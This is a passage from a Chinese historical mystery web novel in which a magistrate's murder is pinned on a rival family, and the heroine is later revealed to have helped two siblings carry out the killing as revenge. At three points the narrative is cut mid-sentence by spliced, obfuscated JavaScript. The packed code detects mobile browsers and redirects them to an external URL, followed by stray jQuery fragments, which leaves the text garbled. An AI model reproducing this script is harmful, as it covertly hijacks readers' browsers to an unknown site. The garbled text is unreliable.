赵县令便让衙役将魏家众人带回县衙,还想让人留下来帮忙清扫庄家的混乱,被江听澜拒绝了。 赵县令心里还有事,也没坚持,带着衙役和犯人离开。 魏大郎还被塞着嘴,一路上都在向赵县令使眼色。 江听澜竟然是江阁老的孙女,这实在是让人想不到。但赵县令可是有把柄在赵家手里,魏家也还有底牌。现在唯有让他去魏家送个信,让魏家其他人赶紧逃走,才有机会搬救兵报仇。 然而赵县令怎么可能给他这个机会? 他根本没看过魏大郎一眼,还叮嘱衙役看好犯人,不得走漏消息,随后便匆匆离开了县衙。 他现在要去找证人,和对方串供,将一切推到魏家头上。 然后再带着人向江听澜投诚。 * 江听澜将徐公公和李校尉带到没受波及的厢房,亲自为两人倒上茶,再次致歉:“对不起,因为我家的事,连累二位了。” “娘子你没错,这事不该你说对不起。”徐公公之前着实吓得不轻,现在缓过来,便格外生气,“这姓赵的和魏家实在可恶,目无王法,真该死!” “听说,魏家有亲戚在京城做大官,他们家向来在清水县为所欲为。”江听澜表情也有些愤怒,“赵县令就更不用说了,他本来就是我们的父母官,自然高人一等。今天要不是二位来得及时,我只怕……多谢二位,救命之恩无以为报,以后如果有机会,一定报答。” 说完,站起身朝两人行礼致谢。 “娘子言重了,这都是我们应该做的。”徐公公急忙将她扶起身,“娘子吉人自有夭相,就算我们不来,也断不会有事。” 李校尉也道:“真论身份,娘子你的祖父可是帝师,这世间有几个人比得过你?放心,以后再无人敢欺负你了。” 江听澜闻言并无欣喜,眉间反而浮现出愁绪,轻轻叹了口气。 徐公公跟李校尉对视一眼,还是徐公公问道:“娘子可是早知道自己的身份?” 之前混乱来不及细想,现在回想,她似乎并不惊讶自己的身份。 “知道,阿娘和我说过。”江听澜点点头,“不过,阿娘也和我说过,她跟江尚书早就说好,各不相干,我也不会再回江家……二位贵使,方便问一下,为何圣上会突然下旨,召我去京都吗?” 李校尉这次别开了头,没看徐公公。 徐公公喝了口茶,方才道:“原本这事,是不该由我们来告诉娘子的。不过,如今情况特殊,我们与娘子又刚同生共死过,情分自然与旁人不同,我今天就多一句嘴,全告诉你吧。” 江听澜很识趣:“多谢徐公公,我也只是心里没底,有些事听过就罢,不会告诉其他人,更不会提是谁说的。” 徐公公如今看她真是越看越喜欢,便也如实相告:“可能就是因为和你娘亲的约定吧,之前京都并无人知晓你的存在。原本,圣上想赐婚的是江三娘子和太子殿下,下旨的时候写了‘江尚书嫡长女’。谁知道江尚书连夜进宫请罪,说其实娘子你才是江家嫡长女。这不,圣上就下旨召见了。” 圣旨已下,整个京都都传遍了,收回就等于打圣上的脸。 但江听澜自小生长在荒蛮之地,品性容貌学识这些都无人知晓,圣上当然也不会直接赐婚。 所以,他才马上下旨,让江听澜回京,先见一面再说。 原本徐公公他们应该先到清水县暗中查探,也不该提赐婚之事。 只是先前情况着实危急,太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906084|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃的身份,显然比尚书女儿要更好用,徐公公情急之下提了,现在想再收回显然不可能。 “这……”江听澜眉头皱得更紧,“既然太子殿下和三娘子有情,我再去京都是不是不太好?” “娘子千万别误会。”徐公公急忙道,“太子殿下和三娘子并无私情,圣上赐婚,也只是因为三娘子才华容貌都是拔尖的。但娘子你,也不比三娘子差。” 这是句真心话。 来之前,他们都觉得,一个边陲小镇能养出甚么出众的人? 可今天见了面,才发现江听澜不仅容貌胜过江三娘子,气节、品性、处事能力也不输男儿。 以徐公公对圣上的了解,他见了应当也会喜欢。这也是徐公公敢将“与太子议亲”说出来的原因之一,否则便是再危急他也不敢提。 江听澜的眉头并没有松开:“可我还在孝期……” “这事确实谁也没料到,娘子节哀。”徐公公也叹了口气,“不过,既然是议亲,那便是有商议的余地。结果如何,还得到了京都面圣之后才能知道,娘子现下倒是不必过于忧愁。” 李校尉也道:“对啊,娘子现在独身一人,身在这虎狼之地着实不安全,也该认祖归宗才是。” “我真的从未想过要和江尚书相认。”江听澜摇摇头,“不过,既然是圣上召见,我自然要从命。今天辛苦二位贵使,天色不早,请二位早些歇息。” “稍等。”徐公公起身道,“我师父与庄娘子曾有过一面之缘,对庄娘子印象甚好,这次离京前,他老人家还让我给庄娘子带好,却不想……我想代师父去给庄娘子上柱香,可以吗?” 江听澜自然不会不答应。 李校尉来都来了,也跟着一起。 一进灵堂,气温便骤然降了许多,但并无阴森之感。 大概是因为这灵堂内竟摆满了鲜花,姹紫嫣红煞是好看,周围安置着一圈巨大的冰块,又用竹筒将融化的冰水引流,绕着屋子循环流动,进一步降温。 若非知道这里的灵堂,只怕要让人误会是才子佳人集会的风雅地。 “我阿娘喜欢花。”江听澜解释一句。 “庄娘子是个奇女子,可惜无缘得见。”徐公公叹息道。 两人上过香,又说了几句话,才去休息。 江听澜要守灵,在灵堂坐了一整晚。 翌日天一亮,江听澜便洗漱换衣服,送庄清的灵柩出门。 徐公公跟李校尉也跟在后面相送,两人一出门,便看到好多百姓自发前来送灵,个个面色悲戚,甚至有人落泪。 两人都不以为意,昨天魏家前来闹事,这些人可也没见帮忙。 现在来送灵,还不是看在“太子妃”的面子上。 江听澜却甚是感激,到了墓地后,还不忘郑重向送灵的百姓施了一礼。 有风水先生带着人提前已经挖好了下葬用的墓坑,众人合力将棺木放入坑底。 风水先生让江听澜先填三抔土。 江听澜刚捧起土,身后忽然传来急促的脚步声。 一个衙役跑得上气不接下气,磕磕巴巴地喊道:“娘,娘子,二位贵,贵使,出事了!” “出甚么事了?”徐公公呵斥道,“慢慢说,不要惊了庄娘子安息。” 赵县令今天没来,他对整个县衙的好感逗更低了一些。 “对不住,打,打扰了。”衙役冲着墓坑胡乱一抱拳,又急急道,“大,县令大人死了。” 现场瞬间鸦雀无声。 【阿娘,清水县之害已尽除,你可以放心了。】江听澜将手中的黄土撒出去,缓缓转过身来。 5. 第 5 章 “到底怎么回事?”徐公公跟李校尉对视一眼,都急了。 他们虽然对赵县令颇有不满,但那毕竟是一地父母官,突然死了,又是在特殊时候,麻烦还真不小。 徐公公还抱了点期待,不等衙役回答,紧接着又问:“可是县令大人有甚么旧疾?” 如果是病死的,事情便会简单许多。 “大人并非病死。”衙役明白他的意思,满面惶恐,却道,“大人是,是被人乱刀砍死的。” 徐公公跟李校尉悬着的心终究是彻底死了,一时都没说话。 “谁这么大胆子,敢杀县令啊?” “不管是谁,要我说,杀得好。” “可不嘛,这狗官早就该死了。” “小声点,不怕他们抓不到凶手,拿你们去当替死鬼啊?” “有江小娘子在,不会的。” “……” 前来送灵的百姓还没离开,这时候忍不住议论起来,说甚么的都有。 衙役六神无主,往徐公公和李校尉面前凑了凑:“二位贵使,这,这可怎么办啊?” “你问我……”李校尉骂人的话到嘴边又咽了回去。 县令死于非命是大事,比一般凶杀案严重很多。 如今清水县也没个当家做主的人,不怪这些衙役没有主意。 谁叫他俩遇上了呢? 二人对视一眼,徐公公朝江听澜那边使了个眼色。 李校尉点点头。 两人来到江听澜面前,低声问道:“娘子,你可有主意?” 江听澜即便成不了太子妃,回到京都后,有江家做后盾,她未来也不会过得太差。往后都在京都讨生活,打交道的可能很大,如今对她客气一些没坏处。 有她出面,他们还能少担一些责任。即便处理不当,那也是受限于她的成长经历,谁忍心苛责于她? 还有,他们刚到清水县就遇上庄府出事,没来得及打探到太多消息,这也算是对她的考验。之后见了圣上,便有话可回。 两人打的如意算盘,江听澜能猜个七八分,也不介意,回头问那报信的衙役:“县令大人如今在何处?” “在清水巷一处宅子里。”衙役回道,“根据之前查案的经验,我们怕破坏现场,发现后便没敢动他。” “事关官家颜面,如何能让县令大人……”江听澜轻咳一声,对徐李二人道,“要不,我们先去看看现场,将县令大人送回县衙?” “正该如此,只是……”徐公公看眼还没处理完的墓穴,“令堂这里……” “无妨,清水巷离这里不远,去去就回也用不了多少时间。”江听澜道,“当然,我不去也不影响甚么,只是要辛苦二位了。” 徐李二人一时拿不定主意,那衙役忽然道:“江娘子,县令大人死得蹊跷,为了清水县百姓,还是劳烦你走一趟吧——可以吗?” 看到徐李二人看过来,衙役赶紧解释:“江娘子破案很厉害,之前清水县的皮影杀人案,就是娘子破的。” “皮影杀人案?”徐李二人对视一眼,都很惊讶,“竟是娘子破的?” 这案子的凶手杀人手法极其残忍且高明,破案之人追查角度刁钻,可谓高手。 案子送到大理寺复核后,还引起了不小的讨论。 赵县令刚被贬就因为皮影案受到嘉奖,圣上甚至有点后悔将他扔到清水县,两人离京前,圣上因此特意嘱咐他俩多留意一下赵县令的情况,是以他们都知道这案子。 “是的,赵县令一开始判错了凶手,差点冤枉好人。”衙役是一点面子没给赵县令留,“幸好有江娘子看出破案,抓到真凶。” 徐李二人在心里将赵县令又臭骂了一顿,这人白捡这么大一便宜,在奏折里对江听澜却只字未提,之后还带着魏锦去为难人家,真不是东西。 死得好……要是不给大家惹麻烦,就更好了。 “既然娘子会破案,还请娘子为了官家颜面、为了清水县百姓,辛苦走一趟吧。”徐李二人再不犹豫。 “上次是运气好,这次……我尽力一试吧。”江听澜没有推辞。 几人对着庄清的棺木告了个罪,然后才匆匆前往清水巷。 清水县百姓来送庄清的多,竟没多少人围观县令之死,只有几个衙役守在一旁。 看到他们过来,衙役们赶紧让开,露出赵县令的尸体。 赵县令仰面倒在宅子门口,身中数刀,身上衣袍全被血浸透了,只差一步便能逃出宅子。 “接到报案,我们就马上过来了,没让其他人进去。”衙役拉过一位老人,“这便是报案人。” 老人健谈,不等询问便主动道:“我就住在隔壁,今天本想去送送庄娘子,因而起了个大早。路过这里的时候,看到门口有血迹,觉得不对劲,轻轻推了下门,就看到……这样了。” 与此同时,仵作老陈已经验完尸,依然是一板一眼地汇报:“县令大人身上大大小小总共有26处刀伤,其中一刀正中心口,应该是致命伤。” 在场的人都有些骇然,26刀,这得是有多大的仇恨啊? 他们都不忍看。 江听澜也是眉头紧锁,但她反而看得很认真,又问那老翁:“可知这宅子的主人是谁?” “是魏大郎。”老翁道。 江听澜几人互相看看,既意外又不太意外。 赵县令这时候死了,魏家嫌疑无疑很大,但他们胆子真这么大,还是让人惊讶。 “确定吗?”江听澜朝宅子里扫了眼,“这宅子看着有些荒凉,怎么像长时间没人住的?” “没错,就是他!”此时跟过来看热闹的人群里,也有人附和。 “我就住这巷子里,见魏大郎来过无数回。” “之前魏大郎在这里养了个外室,后来被魏大娘子发现,来闹了一回,将外室赶走,这宅子才空了下来。” “……” “魏大郎养外室这事我也听说过。”江听澜对徐李二人说了一句,又道,“但是,赵县令为甚么要来……你们昨晚可有听到甚么动静?” 那些人纷纷摇头,甚至往后退了退,好像生怕沾上麻烦。 “县令大人被杀这是骇人听闻的大事,如果各位有甚么线索,请一定要说出来。”江听澜扬声道,“与你们无关的,我们保证不会牵连大家。” “江娘子说得对,各位知道甚么一定要说。”有人附和。 “我们并非信不过娘子,实在是没听到甚么动静。” 那几人还是摇头,人群安静一息,江听澜刚要再说话,有人站了出来:“前两天,魏三郎将这宅子送给赵县令了。” “当真?”李校尉一把将那人从人群中揪出来,“你怎么知道?” 那人吓了一跳,磕磕巴巴地道:“就,前天晚上,我在外面喝多了酒,回来晚了,看到县令和魏三郎一起过来。我,我不想跟他们打招呼,就躲了起来。他们没看到我,边走边聊天,我看见魏三郎将一个类似房契的东西递给了县令大人,又吹嘘这宅子风水如何如何好,县令大人住了肯定很快便能官复原职,还说只要县令帮他将……将江娘子弄到手,他还有重谢……” “狗官!真不要脸!” “竟然敢打江娘子的主意?死得好!” “所以这下是狗咬狗吧?” “……” 人群中顿时一片骂声。 “多谢各位提供的线索。”江听澜抬手压了压。 人群安静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906085|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来。 “破案还是要靠证据说话。”江听澜无意引导过多猜测,对徐李二人道,“我们去里面看看?” 一个衙役道:“我们进去看过,甚么都没有。” 他说完才反应过来:“糟糕,我们是不是破坏了现场?” 但那种情况,谁能忍得住不进去看看啊?万一凶手还在里面呢? “看看再说吧。”江听澜率先走进去。 一进门她便叹了口气。 “娘子,怎么了?”徐公公问道。 李校尉倒是发现了:“足印太多,痕迹都被破坏了。” “可能找不到甚么有价值的线索了。”江听澜边说边四处张望。 忽然她目光一动,朝角落走去。 李校尉一拍脑袋:“对哦!角落去的人少,可能还有……娘子小心!” 江听澜边走边看,没注意踩中一片青苔,差点摔倒。 幸好她情急之下撑住墙面,才稳住身形。 “娘子没事吧?”众人全都围过来。 “别过来,我没事。”江听澜抬手制止他们,又歪头看了眼墙面。 这屋子久没人住,墙面上积了厚厚一层灰,她刚才随手一撑,便留下一个模糊的掌印。 “大家注意看看墙上,还有屋子里的器物,看有没有留下痕迹。”江听澜道。 大家都关注着她,自然也看到了那个掌印,明白过来她的意思,便各自散开去寻找线索。 江听澜低头看了眼自己脚滑的痕迹,将鞋上的泥在旁边的杂草上蹭干净,然后才跟着大家去寻找线索。 可惜半晌过去,没有任何收获。 江听澜又从院子里出来,询问昨晚巷子里其他人家有没有听到动静。 所有人都回答没有。 江听澜最后看向徐李二人:“院子门没有被破坏的痕迹,邻里也没听见动静,显然屋子内外是熟人……对了,昨天抓的魏家那些人,可还在牢里?” “都还在。”衙役急忙道。 江听澜想了想,又问:“昨天总共抓了多少人?” 衙役道:“25个。” “加上魏锦,就是26个。”江听澜嘀咕道。 李校尉站得近,听到了,失声道:“26刀,26个人……魏家!” “看那些刀伤非常利落,邻里又未听到动静,凶手显然是个高手,或者不是第一次杀人,确实更像泄愤。”江听澜叹了口气,“不敢说一定,但现在看来,魏家嫌疑确实比较大。” 徐李二人也认同她的推理。 原本赵县令这时候被杀,嫌疑最大的就是魏家和江听澜。 他们本就不怎么怀疑江听澜,一来她只是个弱女子,之前杀魏锦是运气好,赵县令已经对她有所防备,怎么可能还有那样的运气? 二来他俩昨晚就住在庄府,其实也没怎么睡。尤其是李校尉,担心魏家来报复江听澜,一直在暗中守夜,他非常确定,江听澜和庄府其他人整晚都没出府。 李校尉一挥手道:“走,去魏家。” 江听澜朝他们拱手:“后面的事情与破案无关,我还有事,魏家便不去了,辛苦二位。” 他们这才想起庄清下葬的事,自然不好勉强。 李校尉让两个衙役送江听澜去墓地,他们则带着人去魏家。 江听澜回到墓地时,其他人正好将墓碑立好。 “多谢各位。”江听澜先道过谢,然后才上香烧纸。 她这边还没忙完,徐李二人便急匆匆地赶了过来。 “怎么回事?”江听澜看他们脸色不对,主动问道,“可是魏家不认?” “魏家已经人去楼空。”李校尉气得原地转了好几圈,“连夜逃跑了。” 6. 第 6 章 若非这里是庄清的墓地,李校尉真想破口大骂。 这魏家实在是胆大包天! 最可恨的,是给他们留下一堆烂摊子,想想就头疼。 江听澜看了眼围观人群,轻声道:“回家再说吧。” 她将剩下的纸烧完,徐李二人也祭拜一番,几人便一起回到庄家。 “昨晚到现在时间并不长,魏家举家逃跑,速度肯定快不了,现在去追应该还追得上。”关上门来,江听澜才对徐李二人道。 “我们也是这样认为的,只是,刚才问过了,清水县也算是四通八达,可以逃跑的方向实在太多。现在县衙人力不足,不能每个方向都安排人去追。”徐公公甚是苦恼,“江娘子,你久居清水县,对魏家应当有些了解,你认为他们会往哪个方向逃跑?” 江听澜反问:“魏家既然举家逃跑,声势必定不小,便一点痕迹都没留下?” 徐公公叹了口气:“魏家门口倒是有很多脚印,可前门后门侧门、东南西北各个方向都有,也不好判断是他们用来迷惑人的,还是全家人兵分多路逃跑了。” 沉吟稍许,江听澜道:“以我对魏家的了解,这家人又贪又恶、目无法纪胆大包天,吃了亏想的只怕不是躲,而是报复。清水县三方均有外族,其中以西戎和我们接触更多。尤其是盛平十九年签订和平盟约以来,双方经商贸易、互通往来,不少人,特别是商贾之家和西戎人交好的颇多。” “魏家经商,他们逃亡西戎的可能性极大!”李校尉急急道,“我们得快点去追,否则一旦让他们进入西戎部落,就不好追了,一个不小心还容易引起边境混乱。” 徐公公也道:“之前听说,西戎安分十年,已经有些按捺不住。万一这魏家真的挑起两国矛盾,导致战争再起,那麻烦可就大了。” 江听澜却道:“但魏家也不一定去西戎,他们还可能往东,去京都。” “去京都?”徐公公跟李校尉对视一眼,都很惊讶,“那不是自投罗网吗?” “也许他们有把握,到京都后,能够颠倒黑白呢?”江听澜道,“听说魏家在京都有大靠山。” “不知这魏家的官员是哪一位?”徐公公一时想不起京中有甚么姓魏的高官。 清水县乃边陲之地,他们了解甚少。 “具体哪一位我也不清楚。”江听澜摇摇头,“但应该不姓魏,而是姓崔。” “崔?”徐公公一愣,朝中还真有几位姓崔的大臣,“为何魏家人会姓崔?” “这事我也只是听说,但刨开一些细节,应当有六七分是真。”江听澜道,“魏家原本世代经商,到魏大郎祖父那一辈,出了个进士。可不知为何,那人后来和家里闹翻了。之后他便入赘了一户姓崔的人家,跟家族彻底断绝往来。大概在三年前,有人从京都来到清水县,说是那位进士去世了,临死前想要落叶归根,让人前来寻亲。之后,魏家的生意便蒸蒸日上。” “三年前去世,姓魏,入赘崔家……”徐公公嘀咕一番,眼睛忽然一亮,“我知道是谁了!” 他常年在皇帝身边伺候,对朝中官员还是比较了解的。 “真有此人?”李校尉反而没想到,“谁?” “姓魏的进士叫魏昭元,他娘子乃忠烈侯崔震之孙女,二人的嫡长孙正是如今的大理寺少卿崔琰景。”徐公公道,“都对得上。” 李校尉恍然大悟:“原来是他!” 崔震曾经也算大襄名人,年纪轻轻便展示出惊人的军事天赋,可惜时运不齐,第一次上战场便战死沙场——这倒也不怪他,是当时的主将故意坑他,他落入敌军包围后不愿被擒,自尽身亡。 先帝因此追封他为忠烈侯。 忠烈侯死前只留下一个遗腹子,他娘子哀痛过度早产,这个孩子身体也不好,膝下只有一个女儿。 因为父祖都去世早,崔家在挑选赘婿时,相比才华相貌家世背景,更看中健康,这才选中了魏昭元。 魏昭元考中进士原就是侥幸,最后在官场上无甚成就。 但崔家原本的目的达到了——魏昭元身体确实好,为崔家留下了四子三女,孙辈就更多了。 人一多,还真出了个优秀的,那便是崔琰景。 崔琰景三岁便有才名,第一次参加科考便中了探花。 圣上也很喜欢他,加上感念崔家这一脉着实不易,屡次提拔,才让崔琰景年纪轻轻便做到大理寺少卿。 李校尉也上过战场,对崔震很敬佩,刚在想老先生应该能瞑目了,忽然就听到江听澜问了句:“是负责复核案件的大理寺吗?那清水县的案件,是不是也会到他手里?” “对。”李校尉瞬间清醒,“如果是崔琰景……魏家还真可能去京都。” 案件到了崔琰景手里,假如他有心,是可能做到颠倒黑白的。 徐公公显然也赞同,他甚至在想,让赵县令受到嘉奖的皮影杀人案流传那么广,真的不是有人故意放出消息吗? 大理寺每天要复核那么多案子,奇诡残忍的不少,为甚么只有“皮影杀人案”传播甚广? 两人对视一眼,都有些烦躁。 他俩虽然是天子近臣,可一个太监,说到底只是奴才;另一个品阶又低。对上家族日渐衰落的赵县令也就罢了,真对上一个圣上很喜欢的大臣,结果就不可预测了。 “可是,魏家做出这样惊世骇俗的事情,崔少卿真的会帮他们吗?”徐公公明显已经打起了退堂鼓。 “魏家如此嚣张,难道不就是仗着背后有人?”李校尉想的却是,如果崔琰景真是魏家的保护伞,这次不彻底扳倒,他们只怕同样会遭到报复。 两人意见不一,僵持住了。 江听澜打量着两人脸色,略一思索,道:“如今确实很难判断魏家会走哪个方向,东和西都有可能。我倒是有个主意,不知合不合适?” “娘子快说。”二人异口同声道。 江听澜道:“兵分两路。一路让县丞带着衙役往西搜寻,他们熟悉这边的地势,又有和西戎部落打交道的经验,做事有分寸,应当不会出岔子。” 徐李二人都点头:“娘子说的有道理,另一路呢?” “二位贵使这次来清水县,原本只是为了传旨。现在任务已经完成,理应回京复命。”江听澜道,“至于清水县发生的事情,二位没有权限处置,不如回京禀报圣上,交由刑部负责。” 按正常流程,案子会先到大理寺,但他们身负皇命,完全可以不按正常流程走。 交由刑部,他们也正好可以脱身。 两人大喜:“娘子聪慧!” 江听澜笑笑:“如果轻车简从,二位定能很快回到京都。” 反正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906086|160158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比一大家子拖家带口走得快。 “娘子说得对,此事不宜耽搁,得马上出发了。”李校尉用力点头。 就怕魏家也派人先去报信,让崔琰景有了准备,他们要抢在魏家前面回京。 徐公公看向江听澜:“可是,娘子你……” 他们可以快马赶路,江听澜只怕吃不消。 “我这一去京都,不知何时才能再回来。”江听澜眼眶微微泛红,“阿娘刚走我便离开已然是不孝,至少让我守满七日再出发,二位看可以吗?” 她这要求已经很卑微,谁都不能说不可以。 “那我留下来,等娘子一起。”徐公公道,“李大人自己先回去?” 李校尉不太愿意,欲言又止。 “怕是不妥。”江听澜察言观色,主动道,“山高路远,还是二位同行有个照应的好。且这案子不小,到了刑部,只怕也需要二位互相印证才行。” 她说的也有道理,二人为难起来。 “等我出发,路上应该已经安全了。”江听澜继续道,“实在不行,我还可以请护卫相随。” 她这话提醒了两人,徐公公朝李校尉使了个眼色,李校尉道:“既如此,我们先替娘子将护卫找好再出发,我要亲自确认,确保能够保护娘子才行。” 江听澜猜皇帝是让他们跟自己一同上京,如今情况有变,也得安排人在身边看着才放心,因此也不拒绝。 时间紧,两人当即便出门去雇护卫。 不多时,二人便回来了,身后还跟着一男一女、长相有几分相似的年轻人。 “真没想到,清水县竟也有镖局。”李校尉一见到江听澜就感慨,看起来心情好了不少。 “是有一家。”江听澜看看他们身后的人,道,“只是,好像没听说有女镖师?” “这位娘子刚进镖局不久,旁边是她阿弟,在镖局已经两年。”徐公公谨慎一些,靠近江听澜问,“娘子可见过?” 江听澜点点头:“是有几分眼熟。” “那便没错了。”徐公公这才解释道,“这对姐弟的家人被歹人害了,只剩下两人相依为命,互相都不放心对方,刚好姐姐也学过一些武艺,便跟着弟弟一起做镖师。往往需要镖师护送的人中,大多是老弱妇孺,有位娘子跟着会方便许多。据他们总镖头说,这位娘子进镖局后,专门来找她的主顾还不少……娘子你先过过眼,要是满意,就定下他们;若是不满意,再另外找。” 姐弟俩这才上前行礼并简单自我介绍,姐姐叫安娘,弟弟叫阿胡。 两人话都不多,打完招呼便站到一旁,眼睛也不乱看,显得很稳重。 李校尉补充道:“这家镖局的总局在京都,我跟他们总镖头打过交道,应当是靠谱的。” “我看挺好。”江听澜点点头,“就他俩吧。” 她满意,徐李二人也都放下心来。 他们着急回京,又叮嘱几句,将镖师的定金付了,便趁着天时尚早出发。 保险起见,他俩也请了镖师同行。 江听澜在门口相送,直到几人身影彻底看不见了,方才回屋。 安娘姐弟俩说好即刻开始护卫,一直寸步不离地跟在她身后。 回到屋子里,安娘关上门,转身便拉着弟弟一起跪了下去:“多谢娘子,助我们报仇,杀了那狗官。” 7. 第 7 章 七天后,江听澜带着安娘姐弟俩和小满,出发前往京都。 她没带多少行囊,只有一辆马车。 车内特别装饰过,留出的空间很大,铺着一层竹席,能坐能卧。 车厢内还放置了一尊冰鉴,里面储满冰块,冒出丝丝凉气。 清水县很多百姓自发前来送行,还有送东西的,很快便将马车塞满。 自从庄清来到清水县,做过许多有利于民的事。后来她病重,清水县又换了县令,和魏家狼狈为奸,百姓们没少受欺负。 如今狗官已死,魏家死的死逃的逃,清水县之害已尽除。 明眼人不难想到,这里面有江听澜的功劳。 至于她到底做了甚么,是设计了整件事情,还是只推波助澜,他们不会去打听,但会记在心里。 “娘子一路平安。” “娘子保重。” “照顾好娘子!” “……” 安娘是保镖,坚持和弟弟一起赶车,看着一路都有人送行,人人不舍,甚至有人在抹眼泪,她眼眶也有点红了。 清水县三面蛮夷,治安一直很糟糕。 听说是清姐到来后,为当时的县令出谋划策,才让清水县一点点好起来。 清姐在清水县住了十六年,帮助两任县令立功升迁,朝廷虽不知道她这个人的存在,但百姓不会忘。 是以她出殡那日,清水县的百姓几乎都来了。 安娘是后来才来的清水县,并未亲身经历过这些事情,但她相信是真的,因为江听澜也是个奇女子。 如果没有她的帮助,他们不可能有机会亲手杀死赵县令,为家人报仇。 更不可能杀人后还全身而退。 安娘碰了碰弟弟的胳膊,提示他从现在起便要打起精神,提高警惕。 这一路不论有甚么危险,他们哪怕是死,也要保护好江听澜。 姐弟俩一直绷着心弦,不想这一路却出奇的顺利。 除了部分路段不好走,或者遇到极端天气不方便出行,竟是再没有任何阻碍。 两个月后,马车已经到了京都地界。 “大约还有四十里地便到京都了。”中午几人在一片小树林外休息,阿胡心情甚好,“之后便都是大路坦途,今天肯定能到……” “你快闭嘴!”安娘跟小满异口同声道。 四人日日同行,彼此熟悉了很多,小满瞪他一眼:“你不知道自己嘴巴有毒吗?上回下雨,你非说下不久,结果足足下了四天才停。” “就是。”安娘也忍不住数落,“之前也是,跟我说事情做得万无一失。结果呢?不仅在墙上留下手印,还将阿娘绣的荷包落在现场,要不是娘子帮着隐藏,咱俩现在都下去陪那狗县令了。” “我错了。”阿胡已经习惯被她俩教训了,“我改正,今天……” “你不要说话!”安娘一把捂住他的嘴。 阿胡可怜巴巴地看向江听澜。 江听澜笑起来:“阿胡还算好的,我之前认识一人,才是真倒霉。” “怎么说?”这段时间赶路枯燥,江听澜一路讲过无数故事,几人霎时便全都围上来。 “就是天生运气不好,属于如果一锅粥里有一颗石子,一定会落进他碗里那种。”江听澜眼底笑意加深,“我记得有一次,我们十几个人一起过桥,就他脚下的木板忽然断开,掉进了河里,其他人都没事。” “那是够倒霉的。” 江听澜:“更好笑的是,一群人下去救他,发现河水并不深,还有好多鱼。最后一人捞了一条鱼上来,只有他屁股被鱼啃了一口。” 三人都笑起来。 江听澜慢悠悠道:“不过,他非常聪明,知道自己运气不好,就从不心存侥幸,做任何事情都格外慎重,以求做到最好。所以,他并未被霉运所影响,反而做成了很多别人做不到的事情。” “娘子教训得对。”阿胡急忙道,“之前的事情,并非运气的缘故,就是我没有做好。” “不是教训你。”江听澜摆摆手,“不过是说到这里,想起一点往事罢了。” 小满好奇地问:“娘子,你说的是谁啊?” 她跟在江听澜身边也快十年了,但似乎从未听说过这个人。 “一个故人,以后或许有机会见到。”江听澜摆摆手,“继续赶路吧。” 阿胡赶车,其余三人都坐进车厢里。 天气渐凉,如今已经用不到冰鉴,车厢内便换了个小火炉用来煮茶,安娘顺手为江听澜烤了个梨。 江听澜吃两口,忽然道:“等到了大安驿,你们就回去吧。” “嗯?”安娘一愣,随即反应过来她的意思,“娘子不让我们去京都?” “不是不让。”江听澜道,“大安驿是离京都最近的驿站,只有二十里,一个时辰便能到,不会再有甚么危险,你们也算完成任务了。” 安娘想了想:“娘子是担心我们进京后,被赵家认出来?” “我们一路走来,并未遇见去往清水县的官差,说明赵昌的案子还没有定论。”江听澜道,“安全起见,你们最好不要进京。” “当初赵昌身为刺史,只因为家里丢了东西,便将过路的百姓都抓起来拷打。我阿爹不过据理力争,就被他安排人乱刀砍死,身中二十三刀,身上没有一块好肉。阿娘悲痛过度,当场晕过去后便再也没醒来,还有两个帮我阿爹说话的路人,也被打死……”安娘说起这事,整个人都在发抖,还没说完便说不下去了。 江听澜拍拍她的肩,给她倒了杯茶。 安娘抬起头来,继续倔强地道:“当初娘子安排阿弟去‘告密’的时候,我们其实都担心被认出来。可那狗官,竟完全不认识阿弟。他对被自己害死的人,没有丝毫愧疚之心。” 江听澜道:“赵昌认不出,不代表其他人认不出。万一他们认出来,也许会起疑。” “我明白。”安娘抹了把泪,将自己想说的话说完,“我也知道,赵家势力庞大。赵昌如此草菅人命,最后竟也只是被贬官,还能当县令。就因为这样,娘子助我们报仇的恩德,便比山高比海深。” 她看着江听澜,眼神执着:“我对娘子的情况也略知一二,江府那么多年对娘子不闻不问,却在这时候突然将娘子接回去,这事在整个京都传得沸沸扬扬,看似是好事,可好事为甚么江府不自己接着?只怕是没安好心。我不敢说能帮娘子甚么,至少这一次,我一定要将娘子亲自送进京都,才能放心。” 小满不放心:“万一赵家认出你们……” “那也是徐公公和李校尉雇的我俩,与娘子无关。”安娘显然早就考虑清楚了,“反倒是我们明明答应将娘子送到京都,却在大安驿折返,更容易惹人怀疑。” 她的话也有道理,小满看向江听澜。 “既然你们想好了,那便一起入京。”江听澜没坚持。 安娘这才笑起来:“好。” 车厢内安静下来,几人忽然听到“噼里啪啦”的声响。 